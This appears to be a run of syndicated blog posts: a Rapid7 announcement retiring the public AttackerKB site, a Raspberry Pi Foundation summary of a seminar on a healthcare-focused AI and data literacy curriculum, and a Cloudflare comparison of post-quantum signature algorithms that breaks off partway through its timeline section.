What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.

On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and research resources.

Security practitioners, researchers, vulnerability managers, and current AttackerKB API users will still be able to find Rapid7 vulnerability intelligence through the Rapid7 blog, the recently revamped Rapid7 Vulnerability and Exploit Database, and customer-specific API experiences, where applicable.

The public AttackerKB platform is going away, but the intelligence and analysis that security teams rely on are not disappearing. Instead, they’re moving into experiences more closely connected with Rapid7’s broader research and vulnerability intelligence ecosystem.

What’s changing

  • The public AttackerKB website will be retired on August 18.

  • AttackerKB-style Rapid7 technical write-ups will continue on the Rapid7 blog.

  • Vulnerability intelligence will remain connected to the Rapid7 Vulnerability and Exploit Database.

  • Open community contributions and the current public AttackerKB API will be retired.

Where AttackerKB-style content will live

After the AttackerKB site is retired, that particular style of technical write-up will continue to be published through the Rapid7 blog, and will remain connected to the Rapid7 Vulnerability and Exploit Database. 

This approach brings vulnerability analysis, exploit intelligence, and security research into a more centralized experience for anyone and everyone who accesses the current standalone site. For security practitioners, researchers, and vulnerability managers, the goal is simple: Make it easier to find the information you need without moving between separate platforms.

Why we’re retiring community contributions

We’re also retiring the open community contribution model of AttackerKB. This decision enables Rapid7 to maintain tighter control over the quality and accuracy of the intelligence we publish. By moving to a more curated model, we can ensure users receive high-fidelity, verified vulnerability intelligence backed by our expert research teams.

The change helps protect and fortify the integrity of the intelligence associated with Rapid7, by reducing the risk of inaccurate submissions (especially hastily AI-generated ones), and attempts to manipulate vulnerability information. Maintaining trust in security data is what matters here, and this next step means we can continue delivering intelligence practitioners can use with confidence.

What AttackerKB API users should know

The current public AttackerKB API will be retired alongside the public platform and community features.

Going forward, access to this vulnerability intelligence through APIs will be restructured as a dedicated capability for Rapid7 customers. If your organization currently depends on the public AttackerKB API, Rapid7 will share customer-specific guidance on available options, timing, and transition details.

Next steps for AttackerKB users

If you currently use AttackerKB, here are the quick-hits for August 18 and onwards:

  • Visit the Rapid7 blog for new technical write-ups and vulnerability analysis.

  • Look for a dedicated “Technical Analysis” (linked above) tag to help make AttackerKB-style content and legacy write-ups easier to find.

  • The AttackerKB domain will automatically redirect to the Rapid7 Vulnerability and Exploit Database.

  • Use the Vulnerability and Exploit Database as your central source for vulnerability intelligence moving forward.

AttackerKB has played an important role in helping security teams understand risk and prioritize action. We’re grateful to everyone who contributed, shared knowledge, and helped shape the platform over the years, and we’re excited to deliver the same trusted intelligence through a more unified experience.

AI literacy begins with data literacy: An example from healthcare

Post Syndicated from Bobby Whyte original https://www.raspberrypi.org/blog/ai-literacy-begins-with-data-literacy-an-example-from-healthcare/

The development of AI and data science has transformed how we gain insights from data. In healthcare, AI tools are being used in the development of new treatments as researchers apply machine learning methods to datasets. However, applying AI in healthcare also brings risks, particularly when systems amplify existing biases in data or design.

In our fourth seminar in our current series on teaching about AI in the arts, humanities, and sciences, Kathy Jessen Eller (The Concord Consortium) introduced the Data Science, AI & You (DSAIY) programme, a high school curriculum that helps students critically evaluate the role of data and AI in healthcare.

A picture of Kathy Jessen Eller.
Kathy Jessen Eller (The Concord Consortium)

The role of critical thinking skills in AI education

Kathy began her seminar by arguing that for many students who use AI tools in their coursework, questions remain about whether they are critically evaluating the tools’ outputs. Students may or may not check an AI-generated answer against primary sources to see if the answer is accurate. There is also growing concern that students’ use of AI tools lets them offload cognitive work rather than engage in deeper thinking. This presents a challenge for educators: how do we help students use AI productively while still supporting them to develop the critical judgement needed to evaluate its outputs?

Introducing Data Science, AI & You (DSAIY)

To tackle this challenge, Kathy and her colleagues have developed the Data Science, AI & You (DSAIY) programme (pronounced ‘Daisy’). DSAIY is a semester-long high school curriculum designed to introduce students to AI by actively engaging them in the machine learning process.

The programme introduces machine learning as the engine behind many AI tools, and introduces the concept of bias through real-world examples. Students use a variety of tools to collect and prepare data, train, test, and evaluate models. It culminates in an ‘AI-a-thon’ where young people work in cross-disciplinary teams alongside data scientists, clinicians, and their own teachers to gain real-world experience.

Students in class during an Experience AI lesson.

At the time of the seminar, 11 teachers had delivered the programme to over 800 students across a variety of settings in Rhode Island, USA. Teachers are heavily supported with four days of professional development and ongoing technical assistance throughout implementation. The students that took part had a wide variety of prior experience, including many with no prior background in computer science or statistics. Female participation is notably high; one teacher even remarked that the course saw more girls enrolled than any of his other computer science classes.

Hands-on with machine learning

In DSAIY, students experience the full machine learning pipeline from data collection and data preparation, to modeling and deployment. Using Python, they train and test simple machine learning models on authentic healthcare data. The aim of the programme is to move students from basic graphing to evaluating complex models, transitioning them from merely plotting data to deeply reasoning about it.

The programme makes use of CODAP (the Common Online Data Analysis Platform), a free, web-based tool developed by The Concord Consortium. CODAP provides an interactive, highly visual environment that lowers the barrier to entry. Students can visualise large datasets and click into individual data points, allowing them to see individual cases within a larger dataset.

A graphic showing the CODAP tool for data visualisation and analysis.
CODAP, a tool for data visualisation and analysis

Understanding bias in healthcare systems

The curriculum uses real-world examples from healthcare to introduce concepts of bias and fairness. For example, students learn about pulse oximeters, which estimate blood oxygen levels. However, as these use red and infrared light, readings can vary depending on skin pigmentation, which can lead to inaccurate readings.

Students also collect their own blood oxygen data and plot it using CODAP to observe variability. They consider the accuracy of their measurements and grapple with the ethics of removing outliers from a dataset. This led to students asking critical questions about the makeup of their datasets, the context in which data are collected, and the implications of how data are used in healthcare.

Through the DSAIY programme, Kathy reported that students developed stronger data reasoning skills, gained a deeper awareness of inherent AI biases and risks, and built confidence in public speaking and collaborating with others. Students were also highly engaged and appreciated the focus on real-world healthcare applications and their social implications.

The importance of data literacy for AI literacy

Kathy concluded the seminar by arguing that AI literacy must start with data literacy. When students learn to examine, question, and reason about the data behind AI technologies, they develop the critical thinking skills needed to engage with outputs from real-world systems or everyday technologies like ChatGPT. This can then help them evaluate both the trustworthiness of these tools and their role in important decision-making processes.

You can watch the seminar here:

If you are interested in learning more about Kathy’s work, you can read about the DSAIY programme here or you can read the paper here. You can also learn about CODAP, the data visualisation tool featured in this seminar here.

Join our next seminar

In our current seminar series, we’re exploring how AI is taught across the curriculum. In our next seminar on Tuesday 14 July at 17:00–18:30 BST, we welcome Dan Verständig (Goethe University Frankfurt) who will explore the connection between Social explainable AI (Social XAI) and Critical Computational Literacy (CCL). To take part in the seminar, click the button below to register. We hope to see you there.

The schedule of our upcoming seminars is available online. You can catch up on past seminars on our blog and on the previous seminars and recordings page.

The post AI literacy begins with data literacy: An example from healthcare appeared first on Raspberry Pi Foundation.

Why we cannot wait for better post-quantum signature algorithms

Post Syndicated from Bas Westerbaan original https://blog.cloudflare.com/ml-dsa-will-have-to-do/

RSA and ECC, cryptographic algorithms that we’ve all relied on for decades, are vulnerable to the attack of sufficiently advanced quantum computers. Such quantum computers do not exist yet, but they seem to be coming sooner than expected. Luckily, the solution is already available: migrate to ML-KEM encryption and ML-DSA signatures, which are designed to be resistant to quantum attack. They were standardized in 2024 by the U.S. National Institute of Standards and Technology (NIST) after an eight-year open international competition.

The migration to post-quantum cryptography is in full swing now. At the time of writing, the majority of traffic handled by Cloudflare is already using ML-KEM encryption, and is thus secured against the threat to data posed by harvest-now-decrypt-later attacks. But encryption is only one part of the equation: to be fully secure against quantum computers capable of breaking classical cryptography, we aim to deploy post-quantum signatures to protect authentication systems from unauthorized access. We are targeting 2029 for Cloudflare to be fully post-quantum secure.

ML-DSA, the best all-around post-quantum signature scheme standardized today, has its downsides: it’s much larger on the wire, and many tricks we were able to perform with RSA and ECC simply cannot be done with ML-DSA. There are better post-quantum signature schemes on the horizon: last month, NIST announced that it is advancing nine post-quantum signature schemes to the third round of the “signatures on-ramp”. And a draft standard for FN-DSA (née Falcon), which was picked from the previous competition, is expected imminently.

We have been very interested in advances in post-quantum signature algorithms, and wrote about the progress in 2021, 2022, 2024, and 2025. In this blog post we’ll treat you to the latest developments in great detail.

But first we have to deal with the elephant in the room: These new signature algorithms will not be ready in time for the PQ transition — not even close, as we will see later on. The problem is arriving too soon for us to wait. ML-DSA is available today, and it will have to do for the first migration. As Eric Rescorla wrote in 2024:

You go to war with the algorithms you have, not the ones you wish you had.

Nonetheless, the search for better post-quantum signature algorithms is crucial for several reasons, and we firmly believe it is still the best use of NIST’s limited resources.

Let’s have a look at the signature algorithms in detail. After that we’ll look at the timeline for their availability, and the reasons why we still need them.

The signature algorithms

In the table below, we compare the candidate signature algorithms that progressed to the third round (marked by 🤔), with classical algorithms vulnerable to quantum attack (marked by ❌), and the post-quantum algorithms that are already standardized ( ✅) or soon will be (📝). Each candidate proposes several variants. We list the most relevant variants to TLS, the protocol used to secure connections on the Internet. To explore all variants, check out Thom Wiggers’ signatures zoo.

      Sizes (bytes) CPU time (lower is better)
Family Name variant A Public key Signature Signing Verification
Elliptic curves Ed25519 ❌ 32 64 0.15 1.3
Factoring RSA 2048 ❌ 272 256 80 0.4
Lattices ML-DSA 44 ✅ 1,312 2,420 1 (baseline) 1 (baseline)
Symmetric SLH-DSA 128s ✅ 32 7,856 14,000 40
SLH-DSA 128f ✅ 32 17,088 720 110
SLH-DSA 128-24 📝 32 3,856 7,000,000 ⚠️ 4
LMS M24_H20_W8 ✅ 48 1,112 2.9 ⚠️ 8.4
Lattices FN-DSA 512 📝 897 666 3 ⚠️ 0.7
Lattices HAWK 512 🤔 1,024 555 0.25 1.2
Proof of knowledge MQOM L1-gf16-fast-5r 🤔 60 3,280 8 20
SDitH SDitH2-L1-gf2-fast 🤔 70 4,484 15 40
FAEST EM-128f 🤔 32 5,060 4.2 9
Isogeny SQIsign I 🤔 65 148 300 ⚠️ 50
Multivariate MAYO one 🤔 1,420 454 2.1 0.4
MAYO two 🤔 4,912 186 1.1 0.8
QR-UOV 
I-(127 156 54 3)
🤔 24,225 200 9.3 20
SNOVA (24,5,4) 🤔 1,016 248 1.2 1.7
SNOVA (25,8,3) 🤔 2,320 165 1 1.5
SNOVA (37,17,2) 🤔 9,842 124 0.8 1.3
UOV Is-pkc 🤔 66,576 96 0.3 2.4
UOV Ip-pkc 🤔 43,576 128 0.3 2

A few more remarks on this table: Most candidates have multiple variants in every security level. We show the most relevant variants for TLS at the 128-bit security level, the gold standard for security. CPU times are taken from the signatures zoo in June 2026, which collected them from the round two submission documents and later advances. Candidates are allowed to make changes for the third round, which will influence these numbers. Some will improve (both in compute and size), whereas others will regress to counter new attacks. Check out the zoo for the latest numbers. We marked FN-DSA and SQIsign signing with a  ⚠️️, as both are hard to implement in a fast and timing side-channel secure manner. LMS signing has a ⚠️, as secure LMS signing requires keeping state across signatures, and the listed signing time assumes a 32MB cache. The 128-24 variant of SLH-DSA is marked with a ⚠️️ as it’s meant to create fewer than 224 signatures.

No “all-star” algorithm

One thing that stands out immediately is that the quantum-vulnerable elliptic curves signature algorithm Ed25519 is by far the best all-around choice (ignoring its quantum vulnerability): it has the best numbers in almost every single metric, including public key size, signature size, and signing time. It’s only beaten on verification time, but it’s more than fast enough for the vast majority of applications.

This is quite different than the roster of post-quantum algorithms. Instead of a single “all-star” algorithm, we have roughly two categories of schemes: the “specialists” that approach our trusty elliptic curve signatures on some metrics, but are problematic on others, which make them great in the right deployment scenario. Then there are the “generalists”, such as ML-DSA, which don’t perform as well as elliptic curves on all metrics, but so far as downsides go, are pretty balanced.

Specialists

Let’s start with the specialists.

SQIsign: small signatures / slow signing

If you just look at the bytes on the wire, then SQIsign looks like an almost perfect drop-in replacement for elliptic curve cryptography. With signatures of 148 bytes and public keys of 65 bytes, it beats RSA-2048. Unfortunately there is no free lunch: SQIsign has three weak points. First, it’s the most complex algorithm on the docket. Secondly, its signature creation and verification is quite slow. Finally, it’s difficult to implement signature creation in a timing side-channel secure way and doing so comes with a performance penalty to boot.

That doesn’t sound great so far, but it was much worse: when we had a look back in 2024, there was not yet any timing side-channel secure implementation and signature verification was 20x slower. Furthermore there has been welcome progress on simplifying the scheme.

Despite these dramatic improvements, it is unlikely (side-channel secure) signing will be fast enough in the foreseeable future to be used in typical online cases such as the TLS handshake. However, for offline cases, such as CA signatures or DNSSEC, where it’s the verification time that’s more important than the signing time, SQIsign might have an application.

But the topic we should really discuss is security. SQIsign is based on isogenies. Rather famously, SIKE, another algorithm based on isogenies, got broken badly in a late stage of the first NIST PQC competition that standardized ML-DSA. SIKE is often brought up as a cautionary example showing that post-quantum cryptography could break suddenly. This requires some nuance. First, there were already concerns about SIKE’s security, and in particular the torsion points that led to the break. Because of these concerns, SIKE was not selected for standardization, but deferred to an additional round of evaluation before it was broken. (Indeed, this is an example of the NIST process working well.) SQIsign doesn’t use torsion points, and there is no similar concern as there was for SIKE.

One other notable security property is that the best known attacks on SQIsign are generic brute force, just like with classical attacks on well-selected elliptic curves. This is quite different from RSA, lattices, and multivariate where the attack algorithms have been slowly improving, pushing the parameters towards bigger signatures. Nonetheless, the mathematics behind isogenies is very rich, and compared to the other  algorithms, there is a lot of mathematical attack surface. Still, its security seems more sound than the structured multivariate algorithms we’ll discuss later.

SQIsign is an algorithm with tremendous potential. It’d be a shame to standardize it too early. To the authors, we’d like to share the following wishlist:

  • Ideally verification time is decreased even further, even if this trades off against signing time and signature size: SQIsign signatures are already small enough, and offline signing time has some slack anyway.

  • The timing side-channel secure implementation should be the default, especially if signing time is decreased further, which would tempt some online signing applications.

  • But above all, our wish is for SQIsign to be simplified.

UOV: tiny signatures / huge public keys

UOV (unbalanced oil and vinegar) is a classic multivariate signature algorithm originally proposed in 1999. It has tiny signatures: only 96 bytes. The trade-off? A huge public key: 66kB. That wouldn’t help for a TLS server certificate, whose public key is transmitted over the wire when setting up a connection, but it would be a help for cases where the public key is predistributed.

Let’s take the WebPKI as an example. A typical browser trusts about a hundred root certificates and 30 certificate transparency logs, whose public keys would add up to about 8MB when using UOV.


The public keys and signatures in a typical TLS connection.

Since the root certificate is transmitted to clients out of band, one idea is to use a UOV signature there. But this is not a slam dunk; because of its size, a UOV root certificate would be impractical to be cross-signed where the root is used as an intermediate. At the same time, cross signs and intermediates become less attractive anyway with any larger post-quantum signatures. This encourages more root certificates to be included directly with clients. This would again favor UOV, but to a point: if the number of root certificates grows above a thousand, we’d be dealing with more than 66MB of key material, which would make up a substantial portion of the browsers’ download size (e.g., 90MB for Firefox 151.)

Multivariate security

What about the security? Over the years, many variants of UOV have been proposed that use some extra mathematical structure to reduce the size of the public key. These structured multivariate schemes have had a spotty track record with schemes such as Rainbow and GeMMS being broken quite badly. It is important to distinguish these from UOV itself, whose security track record is much better, but not perfect.

As with many cryptographic schemes, there were growing pains in the early years, as basic attacks and parametrization pitfalls were discovered. In fact, the “U” in UOV is a remnant of that: it stands for unbalanced, which is a fix to a parameter-setting mistake in the 1997 oil-and-vinegar scheme on which UOV is based: the original scheme had an equal number of oil and vinegar variables in the quadratic system of equations used as the public key, which turns out to allow for an attack. In case you’re curious about the colorful name: the system of equations contains vinegar x vinegar and oil x vinegar, but no oil x oil terms. It’s like vinaigrette with small separate oil droplets. Back to the history: from 2005 to 2020 was a quiet period for multivariate signatures: understanding of UOV grew, but there weren’t any new attacks on typical parameters.

This changed in 2020 with the discovery of the intersection attack which built on the ideas of the original attack on balanced oil-and-vinegar. The intersection attack removes about 30 bits of security from a then-proposed 128-bit parameter set. A considerable blow, but not fatal: slightly adjusting parameters mitigates the attack completely, with minor increase in key and signature size.

A bigger shock was the 2025 publication of the idea to use wedges to attack multivariate schemes. The initial impact on UOV was minor: only a few bits (again at the 128-bit security level.) The worry was that this idea came out of left field, and it wasn’t clear how far the approach could be taken. That concern was partly justified: the wedges idea was very fruitful and several subsequent attacks have been built on it, reducing security by about 15 bits. However, it also became clear that the wedges attack and generalizations can be seen as a special case of an intersection attack over truncated rings — thus much more familiar than we thought. Again, these attacks can be mitigated with only minor increases in key and signature size.

What to make of all of this? Such a history of attacks is not uncommon: over the last 25 years lattices have seen larger reductions in security, although this has calmed down over the recent years. Notwithstanding, lattice-based cryptography deployed in production today uses conservative parameter sets well above 128-bits to hedge against future cryptanalysis. We’d want to do the same with UOV. Signature size only grows linearly with the security level, costing just 260 bytes even at the 256-bit security level. Unfortunately, the public key size is cubic in security level: 446kB for 256-bit. Conveniently, UOV (as most multivariate schemes) has a lot of flexibility in picking parameter sets at various intermediate security levels.

UOV is a foundational scheme with narrow but real use cases. Going forward, we’d like to see a parameter set with a bit of margin above 128 bits, say 160 bits, to hedge against future cryptanalytic improvements.

QR-UOV: small signatures / large public keys

Like SNOVA and MAYO which we’ll discuss later on, QR-UOV is a structured multivariate scheme: it’s a variant of UOV that adds more structure to the public key to reduce its size. The gains are modest: at best we’re looking at 12kB public keys, but signature verification is impractically slow for that particular parameter set. The more realistic parameter sets start at 24kB public keys.

With respect to security, QR-UOV is the only multivariate scheme that did not have to adjust its original (round one) parameters in response to new attacks. This is somewhat surprising as any attack on UOV can also be applied to QR-UOV. The explanation is that the attacks do apply, but the natural parameters for QR-UOV happen to make them ineffective. On the other hand, there were already several attacks known that use the specific extra structure that QR-UOV adds: indeed, for some of the parameter sets, the structure-specific attacks are the best attacks. This should be contrasted with MAYO, where there is no known attack against the extra structure MAYO adds. (We’ll get back to MAYO and SNOVA later in this post.)

Compared to last round, QR-UOV signing and verification time improved significantly, but it is still comparatively slow. All in all, QR-UOV is a hard sell: it adds exploitable structure to UOV without pushing key sizes down to general-purpose sizes.

Hash-based signatures

Stateful hash-based signatures

The very first standardized post-quantum signature algorithms are the stateful hash-based LMS, HSS and XMSS(MT). They have very small public keys, and for many parameter sets the signatures are much smaller than those of ML-DSA-44. To boot, their security is based on that of hashes, which are well-understood and already a cornerstone of cryptography. That makes hash-based signature algorithms a very conservative choice, and there is no need to hedge with higher security levels.

So, what’s the catch?

There are two. The big one is keeping the eponymous state. These stateful hash-based signature schemes are built out of one-time-signature keys which are collected into Merkle trees. The signer has to keep track of which one-time-signature keys have been used, which can be as simple as just a counter. If the signer mucks it up, though, and accidentally uses the same one-time-signature key twice on a different message, then anyone can likely use those two signatures to create their own signature on any message. You have to keep a lot in mind to keep the state correctly. Some considerations: you want to make sure that updates are written to storage before handing out the signature; you don’t want the old state to be restored from a backup; and you can’t export/import a private key from one place to another without agreeing on how to split or keep the state. The state is, as Adam Langley pointed out several years ago, a huge foot-cannon.

Another downside is that the most competitive parameter sets can only create a modest number of signatures. The 1,112 byte signatures (as listed in the table above) can only be used to create about a million signatures. You can explore the trade-offs with this calculator.

Together this leaves a very small niche for stateful hash-based signatures: signers have to be able to keep state; signature size has to be a real concern; and signers have to be OK with a hard limit on the number of signatures.

SLH-DSA: conservative security / large and slow

SLH-DSA is a hash-based signature that doesn’t have the low signature limit and avoids the problem of keeping the state. The basic idea is to make the number of one-time-signature keys so large that you can pick one at random without having to worry about using the same one twice, since the chance of picking the same one twice is diminishingly small. SLH-DSA is a bit more efficient than that, by replacing the one-time-signature key as a building block with a few-time-signature key, where security degrades gracefully if keys are occasionally reused. It still comes at a cost. SLH-DSA has two variants, one that optimizes for small signature size, and one that optimizes for fast signing. The size-optimized one is not small at all at 8kB, and the signing-optimized one is even slower than SQIsign.

Fewer signature variants of SLH-DSA

NIST has proposed to standardize an additional parameter set for SLH-DSA with much smaller signatures, but that can only be used to create about 16 million signatures before security reduces. At 3.8kB the signatures are still larger than those of ML-DSA-44, but the combined public key and signature size is very close. The parameter set was chosen to make signature verification fast at the cost of signing time. The signing time is very bad indeed.

Use cases

So why ever use SLH-DSA? The selling point is the conservative security. For a long-term trusted key that is hard to replace, it could make sense if the application can stomach the large signature and slow verification of the standardized variants or the slow signing time of the newly proposed one. There are two more caveats to add. First, it’s better to set things up so that key algorithms are not burned-in and can be replaced after the fact. And secondly, in most cases systems (such as secure connections with TLS) do not just depend on signatures, but also on key agreement. There is no hash-based key agreement mechanism, so we end up needing to trust something less conservative, like lattices, anyway.

FN-DSA: small key and signatures / subtle signing

Comparing the numbers, FN-DSA-512 (née Falcon) looks much better than ML-DSA-44 on almost every metric: faster verification, smaller public key, and much smaller signatures at 666 bytes. Signing is three times slower, but it’s still 25x faster than RSA-2048. To boot it’s already picked to become FIPS 206. So why don’t we consider FN-DSA to be a general-purpose algorithm?

It’s because it’s difficult to implement FN-DSA signing securely. The most well-known sharp edge of FN-DSA is that it is most naturally and efficiently implemented using hardware-accelerated floating-point arithmetic. This is a first for a cryptographic standard. One big challenge with it is that we have little experience implementing fast floating-point arithmetic in a side-channel safe way. What we know so far is that it’s subtle and not very robust: a safe implementation of FN-DSA signing using the Floating-Point Unit (FPU) for one processor might not be safe for another. Instead of relying on the FPU, the floating point operations can be emulated. This is easier to get right, but about 20 times slower, making it about as slow as RSA-2048. There has been some welcome progress recently to implement FN-DSA signing safely using fixed-point arithmetic, which is much faster than the floating-point emulation. So just use that and FN-DSA is good to go? This presumes a level of awareness that might not be warranted. Anecdotally at conferences, every time we saw a presenter compare post-quantum signature algorithms including FN-DSA in benchmarks, they couldn’t answer whether floating-point emulation was used.

Another consequence of using floating points is that it’s difficult to make test vectors for signing. Just one example of this is that the outcome of a+(b+c) and (a+b)+c are only guaranteed to be close, but not the same. That means that to have useful test vectors, the FN-DSA specification would need to be very precise on the order of floating-point operations. Another example is a*b+c, which can be computed in two steps (multiply and then add), or at once using fused-multiply-add (FMA). The latter is faster, but again gives a slightly different answer as rounding happens only once. Not all processors support FMA, but for those that do, compilers typically automatically use FMA for the performance boost. There are also mathematical optimizations that cause trouble. For instance, the reference implementation computes a value (norm) in a faster roundabout way using Parseval’s theorem. Mathematically the answer is exactly the same, but as floating-points are only an approximation, the resulting value is ever so slightly different. Similarly, the safe fixed-point arithmetic implementation gives slightly different results.

Why is this a problem? It is because it is still the humble test vector that catches most implementation bugs in practice. Other more refined methods like formal verification will certainly catch more, but test vectors are hard to beat in simplicity.

Another surprising sharp edge from not having a fixed implementation is the following. From two deterministic signatures created by slightly different implementations from the same private key, one can derive parts of that private key. FN-DSA does not use deterministic signatures, instead adding a randomizer to thwart this. There is a tension with testing: you need a deterministic interface to test signing, but you don’t want that to be used to create actual signatures.

How to deal with the wiggle room in the FN-DSA specification will undoubtedly be a point of discussion. The discrepancy between the implementations might actually have a silver lining: NIST could decide to generate the test vectors (CAVP) from the fixed-point arithmetic implementation. That the more risky floating-point implementation wouldn’t pass the test vectors would be a feature, not a bug, as it would steer implementations towards the safer fixed-point version!

You can read about a few other interesting sharp edges in this blog post. Stepping back from the specifics, the main point is that FN-DSA is a complicated scheme. It’s not a surprise that it took NIST a couple of years (not counting the current limbo) just to write the draft standard. It’ll take longer than usual for the final standard to come out and for cryptographic libraries to add support. FN-DSA is farther away than it seems. We’ll compare timelines later in this blog post.

If the numbers are still very tempting, there is one last thing you should be aware of: FN-DSA-512 is parametrized for 128-bit security compared to ML-DSA-44’s generous 160 bits. If lattice cryptanalysis improves, there is no middle security level: the next step-up is all the way to FN-DSA-1024 at 256 bits. FN-DSA-1024 has double the key and signature sizes and signing and verifying times of FN-DSA-512. An FN-DSA-1024 signature is still half the size of that of ML-DSA-44, but the public key+signature only differs about 20%.

To close the discussion of FN-DSA, it is good to emphasize that all difficulties with FN-DSA are on the signing side: the verification of an FN-DSA signature is very straightforward. 

General-purpose algorithms

Now let’s turn to the algorithms that are meant to be general-purpose replacements for ML-DSA.

HAWK

HAWK is a curious case. In many aspects it’s similar to FN-DSA: a structured lattice hash-then-sign scheme with similar sizes for signatures and public keys with a missing middle security level. The main benefit of HAWK over FN-DSA is that signing is very fast and doesn’t use floating-point arithmetic, although it’s not a simple algorithm either. This comes with a trade-off: HAWK is based on and introduces a new security assumption, the lattice isomorphism problem (LIP). In 2024, two years after the introduction of HAWK, it was discovered that this problem is easy to solve in the special case of totally real number fields, which aren’t used in HAWK or any other cryptography. In 2025, this attack was extended to a broader class of number fields. This hasn’t yet applied to HAWK, but it’s getting closer. A new paper published in June 2026 suggests there is a way to extend the attack to HAWK. An error has been found in the paper, although it’s yet unclear how fundamental it is to the approach. Regardless, the trajectory is concerning.

Even ignoring the potential attacks, HAWK faces some headwinds: its additional security assumption prevents it from displacing FN-DSA, but its practical benefits (especially considering the lack of middle security level) fall short of that of the structured multivariate candidates. It also doesn’t increase diversity in security assumptions, an outcome that NIST is hoping for.

Proof-of-knowledge schemes

FAEST, MQOM, and SDitH all share a similar overall structure. Their public keys are instances of some hard problem and their secret keys are the solutions.

  • A FAEST public key is the AES-encryption of a known plaintext under a secret key.

  • MQOM gets its name from the Multivariate Quadratic problem, which is closely related to (but more conservative than) the cryptographic assumptions underlying the multivariate schemes. The public key is a system of quadratic equations, and the secret key is a solution to that system of equations.

  • SDitH is based on the hardness of the Syndrome Decoding problem for random linear codes. This problem is related to the code-based schemes submitted to the original NIST competition, but these were eliminated in the third round.

In all cases, a signature is a zero-knowledge proof that the signer knows the solution of that hard problem, while at the same time (almost as an afterthought) acknowledging the message-to-be-signed as part of the proof.

Many signature schemes are zero-knowledge proofs like this behind the scenes, notably ML-DSA, SQIsign, and Ed25519. Why don’t we group those with proof of knowledge schemes too?

The difference is generalizability: the zero-knowledge proof used for ML-DSA is only able to prove something about a specific LWE problem as used in ML-DSA: the proof uses mathematical structure in the key. There are ways to create zero-knowledge proofs using lattices for any general statement, but those proof systems are very different from ML-DSA, and would create rather larger signatures on the order of 50kB.

In contrast, the proof system used in FAEST, MQOM, and SDitH can be used to prove arbitrary statements. For instance, FAEST can be modified to use the hard problem of MQOM instead. This leads to a more efficient scheme called KuMQuat. (We’ll get to some performance numbers later on.) Conversely, MQOM can be adjusted to use AES as the hard problem.

This flexibility is great for two reasons. First, it doesn’t require any specific mathematical structure in the hard problem used, and thus we can pick a very conservative problem such as breaking AES. Some problems lead to a more efficient signature than others, as we see with MQ as used in MQOM. MQ is still quite a conservative assumption: it does not contain the hidden subspace used in UOV and thus the other multivariate signatures. Neither the intersection nor wedges attacks apply to it. In fact, the MQ-problem is NP-hard. To be secure, one still needs to pick the correct size of the problem, and although MQ has been studied for quite a while, it certainly has not seen the same scrutiny as deployed algorithms like AES.

The second and greater benefit is that we’re able to create much more than just a plain signature scheme from a general zero-knowledge proof system: we can create blind signatures and even full-fledged anonymous credentials.

Here it’s good to note a limitation: the size of the proofs for all three grows linearly with the statement proven. In technical terms: they’re not succinct like STARKs and LaBRADOR, which outperform them handily for large statements. It’s another example where sometimes it’s better to pick the approach that’s not optimal asymptotically.

Back to advantages: apart from the hard problem chosen, and the security of hash functions, these three schemes don’t require any further security assumption. This makes FAEST as conservative as SLH-DSA.

So what’s the difference except for the chosen hard problem? These schemes started off quite differently, but have been improving and converging since the first round. The proof system in MQOM is a bit simpler than FAEST, but it also does not perform as well: KuMQuat (FAEST+MQ) outperforms MQOM.

Talking about performance, let’s start with a comparison to SLH-DSA. All three schemes have variants that outperform any standardised SLH-DSA parameter set and often by a good margin. SLH-DSA does have one distinct advantage: the verification routine is simpler to implement.

Against ML-DSA-44 the comparison is more interesting. All schemes have a smooth trade-off between runtime and signature size. To illustrate, here are trade-offs reported for KuMQuat (FAEST+MQ.) Verification times are close to signing times.


KuMQuat can be parametrized to have somewhat smaller signatures than ML-DSA-44 at the cost of long signing (and verification) runtime. At the other end, it can have similar signing time as ML-DSA-44, at the cost of larger signatures, although the public key+signature size is still similar.

These schemes have improved quite a bit over the years, and we expect some improvements still. Although they won’t improve upon ML-DSA as dramatically as some of the other schemes considered, their conservative security and especially their potential for broader applications like anonymous credentials make them very appealing. To showcase the flexibility of the underlying zero-knowledge proof system, we’d like each scheme in this category to present numbers on how well they’d perform with a different underlying hard problem.

Structured multivariate: MAYO versus SNOVA

Like QR-UOV discussed earlier, MAYO and SNOVA are variants of UOV that add extra structure to the public key to reduce its size. MAYO and SNOVA take two different approaches: SNOVA makes aggressive bets to get the best performance, whereas MAYO treads carefully with a conservative design.

SNOVA does have impressive performance. Its main parameter set has 248 byte signatures (smaller than RSA-2048!) with only a 1kB public key. It beats every other post-quantum scheme on public key+signature size and has great runtime.

MAYO’s performance is nothing to scoff at either. MAYOone has the best verification time and its 454 byte signatures are still smaller than those of FN-DSA-512, HAWK-512, and RSA-4096. Combined with its 1,420 byte public key, MAYOone does slightly fall behind FN-DSA-512 and HAWK-512. However, MAYO takes the lead again if we ask for some security margin. FN-DSA and HAWK have a missing middle security level and thus need to bump all the way to the 256-bit security, whereas MAYO’s granularity can add extra security at the cost of slightly increasing public key and signature sizes.

Security

Public key 

Signature

PK + Sig

HAWK-1024

256

2,440

1,221

3,661

FN-DSA-1024

256

1,793

1,280

3,079

MAYO at 174 bit security

174

1,600

550

2,150

If that wasn’t good enough, both MAYO and SNOVA allow for a trade-off between signature and public key size. Thus, we can get even smaller signatures for public keys that are transmitted ahead of time. Pushed to the extreme, MAYO becomes UOV.

So far we have discussed performance. What about the security? MAYO adds a “whipping” structure on top of UOV: any attack on UOV will also work for MAYO, but there might be attacks specific to the whipping structure of MAYO. So far no attacks on the whipping structure, and thus on MAYO specifically, have been found. The worst that has happened is that some UOV attacks have affected some MAYO variants more than typical UOV parameter sets, due to the UOV parameter choices that are natural for MAYO.

This is in stark contrast to SNOVA. SNOVA has been hit quite hard on its specific structure several times. In response, the SNOVA team has not just tweaked parameters, but continuously changed the actual structure. Every time, they take the leap forward and propose a new SNOVA with even better performance. We noted this last year and the pattern has continued, whereas MAYO’s basic design is stable.

Furthermore, the structure SNOVA uses can be seen as a special form of the whipping map that MAYO uses. That means that any MAYO-specific attack would apply to SNOVA, but not the other way around.

All in all, we’ve seen a lot of progress on the understanding of multivariate security. NIST wrote that they expect an extra round before standardizing a multivariate scheme. That seems prudent. To us, it’s unclear whether SNOVA would be ready by then, but MAYO so far seems to have matured well.

Timelines

Now, let’s have a look ahead and sketch when these new signature algorithms might become usable.

Progress for ML-DSA so far

It’s illustrative to look at ML-DSA.

November 2017

Submitted to the competition

January 2019

